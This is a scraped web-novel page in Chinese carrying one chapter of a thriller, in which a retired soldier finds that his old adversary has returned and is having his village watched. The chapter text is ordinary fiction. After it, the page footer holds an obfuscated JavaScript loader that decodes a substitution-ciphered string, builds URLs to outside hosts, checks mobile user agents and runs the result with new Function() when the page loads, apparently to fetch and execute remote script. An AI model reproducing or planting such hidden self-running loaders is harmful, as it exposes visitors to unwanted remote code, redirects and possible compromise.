首页
第217章 猎人的气味
返回
关灯 护眼:关 字号:小

第217章 猎人的气味

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    秦牧盯着屏幕上那六个字,烟灰烧到了指根,他才感觉到微微的灼痛。
    他掐灭烟头,没有回复。
    手指在屏幕上停了两秒,然后退出短信界面,拨通了沈默的加密线路。
    电话响了一声就被接起。
    “看到了。”沈默的声音里没有寒暄,“信号经过七层代理跳板,最终落点在缅北金三角区域,但那是假的。鬼面不可能待在那种地方,太低级。”
    “他在国内。”秦牧说。
    不是猜测,是判断。鬼面发这条短信的目的不是示威,是宣告。他要让秦牧知道自己回来了,而且就在触手可及的距离。
    这是猎人的习惯——在动手之前,先让猎物闻到自己的气味。
    “我也这么认为。”沈默顿了一下,“老秦,沈同辉提前一周清空保险柜、销毁数据、安排撤离路线。这套流程不是一个省厅级干部能独立完成的。他背后有人在指挥。”
    “鬼面。”
    “大概率。沈同辉的远洋贸易公司就是'北极星'在国内的节点之一。我们当年第十六次任务要切断的,就是这条线。”
    秦牧靠在院墙上,抬头看着头顶的星空。
    第十六次任务。
    那次行动八年前在中缅边境执行,目标是摧毁“北极星”情报买卖网络在东南亚的三个核心中转站。任务进行到第六天,行动方案被泄露,小队遭遇伏击,被迫提前撤离。
    三个中转站只端掉了两个。
    第三个,就是鬼面负责运营的那个。
    秦牧没听命令。
    他脱离小队,单人追踪鬼面追了十一公里山路。热带雨林里的十一公里不是平地上的概念,坡度、植被、湿滑的腐叶层,加上对方至少有两个人断后掩护。秦牧干掉了断后的人——那是整个任务期间他唯一两次开枪——然后在界碑前三十米的位置追上了鬼面。
    对方已经越境。一只脚踩在这边,另一只脚踩在那边。按照交战规则,秦牧不能跨境追击。他的枪口和鬼面的后脑勺之间只有不到二十米。
    鬼面在界碑的另一侧停下来,回头看了他一眼。
    那张脸藏在面具后面,但那双眼睛秦牧记了八年。
    “港口接应沈同辉的战术小队,你查到什么了?”秦牧问。
    “四个人,配合极其默契。从监控残影分析,至少两人有军事背景,但不是我们的体系。更像是外籍雇佣兵,经过统一训练。”沈默的语气变得凝重,“老秦,鬼面这八年不是在躲,他是在建队伍。”
    秦牧没说话。
    “我已经向部里申请了专案组。”沈默继续说,“但有一件事我要提前跟你说——部里的意见是,你不要介入。”
    “理由?”
    “你的档案刚解封,身份暴露在明面上。鬼面发这条短信就是在钓你。你一动,他就能摸清你现在的行动模式和保护体系。部里的意思是让你待在原地,由我们来追。”
    秦牧沉默了几秒。
    “影子,沈同辉跑了,数据销毁了,鬼面潜入了国内。你觉得他下一步会做什么?”
    沈默没有立刻回答。
    “他不会消停。”秦牧自己接上了话,“他花了八年重建网络,好不容易在国内扎下根。现在我们掀了他的桌子,他要么跑,要么反扑。鬼面不会跑。”
    “……你怎么确定?”
    “因为他给我发了短信。”秦牧的声音很平,“如果他打算跑,他不会暴露自己回来的信息。他发这条消息,是因为他有底气。他觉得自己能赢。”
    电话那头安静了三秒。
    “我会把你的判断上报。”沈默说,“但在专案组正式启动之前,你别单独行动。”
    “知道了。”
    秦牧挂了电话。
    屋内传来秦小棠的笑声,好像是在跟李秀英说什么趣事。暖黄色的灯光从窗户里漫出来,落在水泥地上。
    秦牧把手机揣进兜里,转身走进屋。
    “哥,妈说明天要去镇上赶集,给你买双新鞋。”秦小棠窝在沙发上,朝他举了举手里的笔记本,“你那双军靴都快磨穿了。”
    “不用买,还能穿。”
    “就知道你这么说。”秦小棠翻了个白眼,“哥,你现在又不是没钱了,赵建国赔的钱还没花呢。”
    秦牧在桌边坐下,看了一眼母亲。李秀英正低头纳鞋底,灯光把她花白的头发照得很清楚。
    “妈,明天赶集我陪你去。”
    李秀英抬起头,笑了:“行,正好菜也该买了。”
    秦牧也笑了一下,但笑意没到眼底。
    他心里在盘算一件事。
    鬼面的短信不是随手发的。这条信息精准地在他回村、放松警惕的时刻送达。这说明对方一直在监控他的动态。
    沈同辉提前一周转移数据,刚好是霍远山召他去省城的前后。
    也就是说,鬼面对秦牧这边的情报掌握,可能比他想象的更深。
    来源在哪?
    不可能是周永胜。周永胜自己都不知道鬼面的存在,他只是沈同辉的下线。
    也不太可能是沈同辉主动传递。沈同辉是商人思维,他给鬼面提供渠道是为了钱,没必要替鬼面盯着一个退伍兵。
    那就只有一种可能——鬼面在秦牧身边,或者在他能触及的信息链条中,安插了自己的眼线。
    这个眼线不一定是人。也可能是技术手段。
    秦牧不动声色地扫了一眼屋内的角落。
    明天。
    明天他要做几件事。
    十一点,秦小棠回房睡了。李秀英也关了灯。
    秦牧坐在院子里,给韩铮发了一条短信:明天回来不?
    韩铮的回复很快:在处理战友的事,后天回。怎么了?
    秦牧回:没事。回来找我。
    他又给赵铁柱打了个电话。
    “秦哥,这么晚了。”赵铁柱的声音带着困意。
    “铁柱,帮我查个事。”
    “你说。”
    “最近一个月,青山村和柳河镇有没有新搬来的外来人口。不管是租房的、打工的、过路的,全查一遍。”
    赵铁柱明显愣了一下:“出什么事了?”
    “可能没事。也可能有事。先查,别惊动任何人。”
    “明白。”赵铁柱没有多问。跟秦牧这么多年,他清楚一个规律——秦牧说“可能没事”的时候,一般都是大事。
    挂了电话,秦牧走进屋,从床底的旧背包里翻出一个不起眼的铁盒子。
    盒子里装着几样东西:一把折叠军刀,一个微型信号干扰器,一枚单兵通讯耳机,以及一张手绘的青山村周边地形图。
    这些都是他退伍时随身带出来的个人装备。不在军方登记清单上,因为它们本身就不在任何清单上。
    秦牧把信号干扰器充上电,又把军刀别在腰后,用T恤盖住。
    他重新躺回床上,闭上眼睛。
    耳朵没有休息。
    院外的虫鸣声、远处的狗叫声、风吹树叶的频率——他把这些声音一层层过滤、归类,形成了一张覆盖周围两百米的“声音地图”。
    任何不属于这张地图的异常声源出现,他会在零点三秒内做出反应。
    凌晨两点十七分。
    声音地图里出现了一个不该有的频率。
    很轻。
    像是有人踩在村后小巷的碎石子上,但脚步的间隔和重量分布不是普通村民的走路方式。太均匀了。受过训练的人才会在深夜保持这种步频。
    秦牧睁开眼睛。
    脚步声在离院墙大约四十米的位置停了三秒,然后原路折返,消失在村后的黑暗里。
    没有翻墙,没有窥探,甚至没有靠近到三十米以内。
    只是经过。
    像是在确认某个坐标。
    秦牧躺在床上,目光落在天花板上,手指无意识地摩挲着军刀的刀柄。
    他确认了一件事。
    鬼面的人已经到了青山村。
    不是一个人。至少两个。
    因为四十米外脚步声停下的那三秒里,村东头的方向有极轻微的无线电静噪声。
    两个侦察点。
    一个在村后,一个在村东。
    标准的双点交叉定位。
    他们不是来杀人的。如果是,不会用这种暴露无线电特征的方式。
    他们是来确认秦牧的位置和活动规律的。
    前期侦察。
    秦牧闭上眼睛。
    他没有起身追击。不是追不到,是不能追。一旦他暴露自己的反侦察能力,对方会立刻改变方案,换成他无法预判的方式。
    现在他知道对方在看他,但对方不知道他已经知道了。
    这就是信息差。
    他最擅长的东西。
    秦牧翻了个身,呼吸逐渐放缓,重新回到浅睡眠状态。
    天亮后有很多事要做。
    但有一件事比所有事都紧急——他得在鬼面动手之前,把母亲和妹妹转移到一个安全的地方。
    手机屏幕在枕头边亮了一下。
    沈默的加密信息。
    【沈同辉在临江港口登船前,见过一个人。港口的备用监控拍到了侧脸。面部识别匹配度87%。】
    下面附了一张模糊的截图。
    雨夜,码头边,一个穿深色风衣的男人侧身站在集装箱的阴影里。看不清全脸,但露出的半张面孔上,有一道从眉角延伸到颧骨的旧伤疤。
    秦牧认识这道伤疤。
    八年前,中缅边境,界碑的另一侧。
    鬼面摘下面具的那一刻,月光照在他脸上,那道疤清晰可见。
    他把手机扣在枕头下面,闭上眼睛。
    大脑里只有一个念头,清晰得像刀刻的——
    他亲自来了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();